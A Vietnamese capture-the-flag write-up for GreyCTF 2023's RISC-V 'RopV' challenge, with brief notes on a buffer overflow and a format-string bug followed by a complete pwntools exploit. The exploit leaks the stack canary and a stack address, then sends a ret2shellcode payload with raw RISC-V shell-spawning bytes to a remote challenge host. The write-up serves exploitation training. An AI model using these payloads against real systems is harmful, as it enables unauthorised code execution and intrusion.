# WU GreyCTF-2023
### RopV (RISC-V)
- Dùng ghidra để xem qua chương trình:

- Ta có thể thấy ngay lỗi overflow và format string, ta có thể dùng fmt để leak stack và canary.

- Khi gdb để kiểm tra ta thấy stack có thể thực thi nên ta có thể thực hiện kỹ thuật ret2shellcode.
- Ta sẽ kiếm 1 shellcode trên mạng để thực hiện ret2shellcode.
- Để setup debug ta sẽ dùng `qemu-riscv64 -g 4040 ropv` để mở host và `gdb-multiarch -ex 'ropv' -ex 'target remote localhost:4040'` để remote đến host.
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('ropv', checksec=False)
# context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: r.sendlineafter(msg, data)
sa = lambda msg, data: r.sendafter(msg, data)
sl = lambda data: r.sendline(data)
s = lambda data: r.send(data)
def GDB():
gdb.attach(r, gdbscript='''
c
''')
shell = b'\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x93\x06\x30\x07\x23\x0e\xd1\xee\x93\x06\xe1\xef\x67\x80\xe6\xff'
if args.REMOTE:
r = remote('139.177.185.41', 12335)
else:
r = process('qemu-riscv64 -g 4040 ropv'.split())
# GDB()
sa(b'server: ', b'%9$p%p')
canary = int(r.recvuntil(b'00'), 16)
stack = int(r.recv(), 16)
print(hex(canary))
print(hex(stack))
payload = b'a'*0x8 + p64(canary) + b'a'*8 + p64(stack+32) + shell
sa(b'server: ', payload)
r.interactive()
```